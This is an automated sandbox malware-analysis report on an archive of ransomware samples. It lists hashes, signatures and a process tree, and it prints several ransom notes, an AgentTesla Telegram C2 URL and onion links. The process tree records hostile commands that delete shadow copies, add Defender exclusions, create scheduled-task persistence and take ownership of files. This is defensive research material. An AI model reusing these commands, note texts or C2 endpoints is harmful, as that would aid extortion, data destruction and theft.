Overview

overview

10

Static

static

1

RNSM00481.7z

windows10-2004-x64

10

Resubmissions

17-09-2024 18:15

240917-wwdeqaxclh 3

17-09-2024 18:12

240917-wtgpcsxbmh 3

17-09-2024 18:09

240917-wrmslaxbkl 8

17-09-2024 18:08

240917-wqx7yaxajf 3

16-09-2024 14:30

240916-rt67sssfjm 10

Analysis

  • max time kernel
    99s
  • max time network
    307s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-09-2024 14:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00481.7z

  • Size

    91.0MB

  • MD5

    b5fd3ccf036ee81814eee3b9f0e54643

  • SHA1

    7aae850b68fe3234ec0e835113db033f57ab779d

  • SHA256

    d73798bca8ae78c37444470da1322fe301418fb534417877d988751bf1da5e18

  • SHA512

    f900ad590f822410eb30c9a43b886eae95aa0af44dba2a5bf8779471df410ae4ddf19328c17a5a3578a1fde272771231c9b5ea53218d44e925936d3be264ee90

  • SSDEEP

    1572864:MN+sx1CnlGBt7cSjEZn+G6Yawe/IO1ZT5K605B5W79ldy2IkuNcyaG9fA:Mwsx1ulyBCnYYaw8/T5wBQ/uNfaIA

Score
10/10
agentteslablackmattergandcrabmountlockernjratzeppelinaspackv2backdoordefense_evasiondiscoveryevasionexecutionexploitimpactkeyloggerpersistenceransomwarespywarestealertrojanupx

Malware Config

Extracted

Path

C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\ReadMe.txt

Ransom Note
Gentlemen! Your business is at serios risk . There is a significant hole in the security system of your company. We have easily penetrated your network. You should thank the Lord for being hacked by serios people not some stupid schoolboys or dangerous punks. They can damage all your important data just for fun. All files on each host in the network have been encrypted with a strong algorithm Now your files are crypted with the strongest millitary algorithms RSA4096 and AES-256. No one can help you to restore files without our special decoder. Photorec, RannoDecryptor etc. repair tools Are useless and can destroy your files irreversibly. If you want to restore your files write to emails (contacts are at the bottom of the sheet ) and attach 2 encrypted files (Less than 5 Mb each, non-archived and your files should not contain valuable information (Databases, backups, large excel sheets, etc. )) You will receive decrypted samples and our conditions how to get the decoder. Please don't forget to write the name of your company in the subject of your e-mail. You have to pay for decryption in Bitcoins. The final price depends on how fast you write to us. Every day of delay will cost you additional BTC Nothing personal just business As soon as we get bitcoins you'll get all your decrypted data back. Moreover you will get instructions how to close the hole in security and how to avoid such problems in the future we will recommend you special software that makes the most problems to hackers. Attention! One more time ! Do not rename encrypted files. Do not try to decrypt your data using third party software. P.S. Remember, we are not scammers. We dont need your files and your information. But after 2 weeks all your files and keys will be deleted automatically. Just send a request immediately after infection. All data will be restored absolutely. Your warranty - decrypted samples. Contact emails Primary email : [email protected] Secondary email : [email protected]

Extracted

Path

C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\ReadMe.txt

Ransom Note
Gentlemen! Your business is at serious risk . There is a significant hole in the security system of your company. We have easily penetrated your network. You should thank the Lord for being hacked by serious people not some stupid schoolboys or dangerous punks. They can damage all your important data just for fun. All files on each host in the network have been encrypted with a strong algorithm No one can help you to restore files without our special decoder. If you want to restore your files write to emails (contacts are at the bottom of the sheet ) and attach 2 encrypted files (Less than 5 Mb each, non-archived and your files should not contain valuable information (Databases, backups, large excel sheets, etc. )) You will receive decrypted samples and our conditions how to get the decoder. Please don't forget to write the name of your company in the subject of your e-mail. You have to pay for decryption in Bitcoins. The final price depends on how fast you write to us. Every day of delay will cost you additional BTC Nothing personal just business As soon as we get bitcoins you'll get all your decrypted data back. Moreover you will get instructions how to close the hole in security and how to avoid such problems in the future we will recommend you special software that makes the most problems to hackers. Attention! One more time ! Do not rename encrypted files. Do not try to decrypt your data using third party software. P.S. Remember, we are not scammers. We don't need your files and your information. But after 2 weeks all your files and keys will be deleted automatically. Just send a request immediately after infection. All data will be restored absolutely. Your warranty - decrypted samples. Contact emails Primary email : [email protected] Secondary email : [email protected]

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot1923270472:AAFHljVp-f8Q5-X0iy70Vfe0aTch5THPa-U/sendDocument

Extracted

Path

C:\WzEgyMggM.README.txt

Family

blackmatter

Ransom Note
~+ * + ' BLACK | () .-.,='``'=. - o - '=/_ \ | * | '=._ | \ `=./`, ' . '=.__.=' `=' * + Matter + O * ' . >>> What happens? Your network is encrypted, and currently not operational. We need only money, after payment we will give you a decryptor for the entire network and you will restore all the data. >>> What data stolen? From your network was stole 500 GB of data. If you do not contact us we will publish all your data in our blog and will send it to the biggest mass media. Blog post link: http://blackmax7su6mbwtcyo3xwtpfxpm356jjqrs34y4crcytpw7mifuedyd.onion/WBO0PqltgJ/46f53c1a25a576184e0429cd24bfcd36 >>> What guarantees? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not comply with our goals. We always keep our promises. >> How to contact with us? 1. Download and install TOR Browser (https://www.torproject.org/). 2. Open http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/LA60VOT96UX8HHOG >> Warning! Recovery recommendations. We strongly recommend you to do not MODIFY or REPAIR your files, that will damage them.
URLs

http://blackmax7su6mbwtcyo3xwtpfxpm356jjqrs34y4crcytpw7mifuedyd.onion/WBO0PqltgJ/46f53c1a25a576184e0429cd24bfcd36

http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/LA60VOT96UX8HHOG

Extracted

Path

C:\info.hta

Ransom Note
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'> <html> <head> <meta charset='windows-1251'> <title>encrypted</title> <HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type='text/css'> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background: #EDEDED; } img { display:inline-block; } .bold { font-weight: bold; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { text-align: center; font-size: 30px; line-height: 50px; font-weight: bold; margin-bottom:20px; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } .footer { position:fixed; bottom:0; right:0; text-align: right; } </style> </head> <body> <div class='header'> <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='> <div>All your files have been encrypted!</div> </div> <div class='bold'>All your files have been encrypted. If you want to restore them, write to us by e-mail: <span class='mark'>[email protected]</span></div> <div class='bold'>Write this ID in the title of your message: <span class='mark'>809AF621-3240</span></div> <div class='bold'>To increase the likelihood of receiving a response to your request, also duplicate your letters to the following e-mails: <span class='mark'>[email protected] and [email protected]</span></div> <div class='bold'>For quick and convenient feedback, write to the online operator in the Wire messenger: <span class='mark'>@sewzok</span></div> <div class='bold'>(The username of the Wire account must be exactly the same as above,beware of fake accounts.)</div> <div> You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. </div> <div class='note info'> <div class='title'>Free decryption as guarantee</div> <ul>Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul> </div> <div class='note alert'> <div class='title'>Attention!</div> <ul> <li>To get guaranteed assistance in decrypting your files, please contact only the contacts indicated in this note, otherwise we are not responsible for the decryption!</li> <li>Do not rename encrypted files.</li> <li>Do not try to decrypt your data using third-party software, as this may result in irreversible data loss.</li> <li>Decrypting your files with the help of third parties may increase the price (they add their fee to ours) or you risk losing money without receiving files decryption in return.</li> <li>!!! When contacting third parties, we do not give a guarantee for decryption of your files !!!</li> </ul> </div> <div class='note info'> <div class='title'>How to obtain Bitcoins</div> <ul> The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. <br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a> <br> Also you can find other places to buy Bitcoins and beginners guide here: <br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a> </ul> </div> </body> </html>
Emails

class='mark'>[email protected]</span></div>

class='mark'>[email protected]

[email protected]</span></div>
URLs

http://www.w3.org/TR/html4/strict.dtd'>

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • BlackMatter Ransomware

    BlackMatter ransomware group claims to be Darkside and REvil succesor.

    ransomwareblackmatter
  • Detected Mount Locker ransomware 1 IoCs
  • Detects Zeppelin payload 2 IoCs
  • GandCrab payload 3 IoCs
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • MountLocker Ransomware

    Ransomware family first seen in late 2020, which threatens to leak files if ransom is not paid.

    ransomwaremountlocker
  • Zeppelin Ransomware

    Ransomware-as-a-service (RaaS) written in Delphi and first seen in 2019.

    ransomwarezeppelin
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • AgentTesla payload 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Modifies Windows Firewall 2 TTPs 3 IoCs
    evasion
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • UPX packed file 43 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 7 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 26 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\RNSM00481.7z
    1⤵
    • Modifies registry class
    PID:2360
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4008
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4736
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00481.7z"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4320
        • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Agent.gen-5bdf63530fc9ab47e57a92a17a627b93c668d313742b989819252ee5152a9061.exe
          HEUR-Trojan-Ransom.MSIL.Agent.gen-5bdf63530fc9ab47e57a92a17a627b93c668d313742b989819252ee5152a9061.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1328
        • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Blocker.gen-75f615f27b23cc56767ed8b3e684d69b27376165432116913f30cbc12c439fb2.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-75f615f27b23cc56767ed8b3e684d69b27376165432116913f30cbc12c439fb2.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3176
        • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7e9ab70cccff28f533cdefc0608d02de489bf9c1493c931499b5b01e257585bb.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-7e9ab70cccff28f533cdefc0608d02de489bf9c1493c931499b5b01e257585bb.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4632
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c start C:\Users\Admin\AppData\Local\Temp\explorer.exe
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3256
            • C:\Users\Admin\AppData\Local\Temp\explorer.exe
              C:\Users\Admin\AppData\Local\Temp\explorer.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4568
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.bing.com , www.youtube.com , www.yahoo.com , www.youtube.com ,www.google.com , www.youtube.com
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1140
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c start C:\Users\Admin\AppData\Local\Temp\Codec.exe
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1740
            • C:\Users\Admin\AppData\Local\Temp\Codec.exe
              C:\Users\Admin\AppData\Local\Temp\Codec.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2768
              • C:\Users\Admin\AppData\Local\Temp\is-LDUV6.tmp\Codec.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-LDUV6.tmp\Codec.tmp" /SL5="$2037C,119392,114176,C:\Users\Admin\AppData\Local\Temp\Codec.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2908
        • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Blocker.gen-a7cfc747d2b20fbbd20f8121c26b46041101e14b0c912afa3e220239f146685e.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-a7cfc747d2b20fbbd20f8121c26b46041101e14b0c912afa3e220239f146685e.exe
          3⤵
          • Executes dropped EXE
          PID:2340
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" #/k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Microsoft\Airexpress & exit
            4⤵
              PID:6900
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Microsoft\Airexpress
                5⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3796
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" #/k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Holocryptic\Crossbarre.exe & exit
              4⤵
                PID:6728
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Holocryptic\Crossbarre.exe
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:3888
              • C:\Windows\System32\ipconfig.exe
                "C:\Windows\System32\ipconfig.exe" flushdns
                4⤵
                • Gathers network information
                PID:5696
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /delete /tn Service /f
                4⤵
                  PID:5600
                • C:\Windows\SYSTEM32\schtasks.exe
                  "schtasks" /create /sc minute /mo 10 /tn Service /tr "C:\Windows\system32\Holocryptic\Crossbarre.exe"
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3760
                • C:\Windows\system32\Holocryptic\Crossbarre.exe
                  "C:\Windows\system32\Holocryptic\Crossbarre.exe"
                  4⤵
                    PID:7564
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                    /Processid:{0a52d887-c53b-4a50-a125-d38c5aaa675f}
                    4⤵
                      PID:6356
                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.MSIL.Encoder.gen-412fbcec0b5aa0fd7d09b18ef80d6bbda8026908c99f9f0c58351c52b5ee6ae6.exe
                    HEUR-Trojan-Ransom.MSIL.Encoder.gen-412fbcec0b5aa0fd7d09b18ef80d6bbda8026908c99f9f0c58351c52b5ee6ae6.exe
                    3⤵
                    • Modifies WinLogon for persistence
                    • Executes dropped EXE
                    • Sets desktop wallpaper using registry
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4984
                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Blocker.pef-f63819c6d8237b4bdebed3897b3a3f5a2f7bbc9ad1a7b44fa0668a3359f31a99.exe
                    HEUR-Trojan-Ransom.Win32.Blocker.pef-f63819c6d8237b4bdebed3897b3a3f5a2f7bbc9ad1a7b44fa0668a3359f31a99.exe
                    3⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1456
                    • C:\Users\Admin\AppData\Local\Temp\zbhnd.exe
                      "C:\Users\Admin\AppData\Local\Temp\zbhnd.exe"
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:4484
                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmod.gen-50234101339d8a152f9c0c111c6e5fac70826d53cd1480d224a422b7182ec0f0.exe
                    HEUR-Trojan-Ransom.Win32.Crypmod.gen-50234101339d8a152f9c0c111c6e5fac70826d53cd1480d224a422b7182ec0f0.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:964
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\Desktop\00481\HEUR-T~1.BAT
                      4⤵
                        PID:1056
                    • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmod.gen-8b6f0bbead4faeb094314e83e1f1b05d8c81b2102ccea0defdbd5df0f035a47f.exe
                      HEUR-Trojan-Ransom.Win32.Crypmod.gen-8b6f0bbead4faeb094314e83e1f1b05d8c81b2102ccea0defdbd5df0f035a47f.exe
                      3⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4032
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Desktop\00481\HEUR-T~2.BAT
                        4⤵
                          PID:7976
                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-9c5113ae60fa19421e1d90ba13cc5a0ae4b675ae3ba5a2e4de8aae2ece779543.exe
                        HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-9c5113ae60fa19421e1d90ba13cc5a0ae4b675ae3ba5a2e4de8aae2ece779543.exe
                        3⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        PID:1008
                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-be172fac0466cdc031266dc30e9495a0e71449e8b03f88f9fb4a7a231946796c.exe
                        HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-be172fac0466cdc031266dc30e9495a0e71449e8b03f88f9fb4a7a231946796c.exe
                        3⤵
                        • Executes dropped EXE
                        PID:1112
                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-dc9742ddc4a89ef7e38a1a60cafceaffd6cd7d2cd59b5bac941fc81010696b6e.exe
                        HEUR-Trojan-Ransom.Win32.Cryptoff.vho-dc9742ddc4a89ef7e38a1a60cafceaffd6cd7d2cd59b5bac941fc81010696b6e.exe
                        3⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        PID:1604
                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.GandCrypt.pef-474e0e53445801dfb4ddf354df0306f161e2f28ce0615dd16097170c7f52f5ad.exe
                        HEUR-Trojan-Ransom.Win32.GandCrypt.pef-474e0e53445801dfb4ddf354df0306f161e2f28ce0615dd16097170c7f52f5ad.exe
                        3⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Checks SCSI registry key(s)
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3236
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 3236 -s 488
                          4⤵
                          • Program crash
                          PID:5840
                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Gen.gen-32a6cef319ce45e3a319a97a5d99b5719a55eef87e0be98367a23d2080b14b95.exe
                        HEUR-Trojan-Ransom.Win32.Gen.gen-32a6cef319ce45e3a319a97a5d99b5719a55eef87e0be98367a23d2080b14b95.exe
                        3⤵
                        • Executes dropped EXE
                        • Enumerates connected drives
                        • System Location Discovery: System Language Discovery
                        PID:3876
                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Generic-b79565748d4e057ce732761bbeaa5578cb18f12c1890cdecd78a86e16fedd937.exe
                        HEUR-Trojan-Ransom.Win32.Generic-b79565748d4e057ce732761bbeaa5578cb18f12c1890cdecd78a86e16fedd937.exe
                        3⤵
                          PID:3388
                          • C:\Users\Admin\AppData\Roaming\Accessibility:bin
                            C:\Users\Admin\AppData\Roaming\Accessibility:bin -r
                            4⤵
                              PID:2540
                              • C:\Windows\system32\vssadmin.exe
                                C:\Windows\system32\vssadmin.exe Delete Shadows /All /Quiet
                                5⤵
                                • Interacts with shadow copies
                                PID:392
                              • C:\Windows\SysWOW64\takeown.exe
                                C:\Windows\system32\takeown.exe /F C:\Windows\system32\Accessibility.exe
                                5⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:5804
                              • C:\Windows\SysWOW64\icacls.exe
                                C:\Windows\system32\icacls.exe C:\Windows\system32\Accessibility.exe /reset
                                5⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:7200
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c choice /t 10 /d y & attrib -h "C:\Users\Admin\AppData\Roaming\Accessibility" & del "C:\Users\Admin\AppData\Roaming\Accessibility"
                                5⤵
                                  PID:7208
                                  • C:\Windows\SysWOW64\choice.exe
                                    choice /t 10 /d y
                                    6⤵
                                      PID:5804
                                    • C:\Windows\SysWOW64\attrib.exe
                                      attrib -h "C:\Users\Admin\AppData\Roaming\Accessibility"
                                      6⤵
                                      • Views/modifies file attributes
                                      PID:6140
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c choice /t 10 /d y & attrib -h "C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Generic-b79565748d4e057ce732761bbeaa5578cb18f12c1890cdecd78a86e16fedd937.exe" & del "C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Generic-b79565748d4e057ce732761bbeaa5578cb18f12c1890cdecd78a86e16fedd937.exe"
                                  4⤵
                                    PID:292
                                    • C:\Windows\SysWOW64\choice.exe
                                      choice /t 10 /d y
                                      5⤵
                                        PID:7732
                                      • C:\Windows\SysWOW64\attrib.exe
                                        attrib -h "C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Generic-b79565748d4e057ce732761bbeaa5578cb18f12c1890cdecd78a86e16fedd937.exe"
                                        5⤵
                                        • Views/modifies file attributes
                                        PID:6416
                                  • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Locky.gen-a249f9af6a0d1bbf1e93c5b32944b5124cb6c7dc72051d96cae343b8ee78361e.exe
                                    HEUR-Trojan-Ransom.Win32.Locky.gen-a249f9af6a0d1bbf1e93c5b32944b5124cb6c7dc72051d96cae343b8ee78361e.exe
                                    3⤵
                                      PID:4764
                                      • C:\Users\Admin\Desktop\00481\HEUR-Trojan-Ransom.Win32.Locky.gen-a249f9af6a0d1bbf1e93c5b32944b5124cb6c7dc72051d96cae343b8ee78361e.exe
